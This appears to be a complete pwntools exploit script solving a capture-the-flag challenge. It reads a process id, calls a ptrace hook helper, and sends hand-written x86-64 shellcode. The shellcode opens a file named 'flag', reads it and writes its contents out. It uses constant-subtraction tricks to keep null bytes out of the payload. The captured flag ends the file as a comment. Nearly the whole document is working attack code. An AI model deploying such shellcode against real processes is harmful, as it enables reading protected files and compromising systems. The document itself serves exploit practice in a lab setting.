sh = Shell()

sh.recvuntil(b': ')
pid = int(sh.recvuntil(b'\n'))
success(f'pid: {pid}')

ptrace_hook(pid)

# pause()

sh.send(asm('''

    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

'''))

sh.interactive()
# flag{053d8801-8700-4ff5-a6d5-20cc762b719e}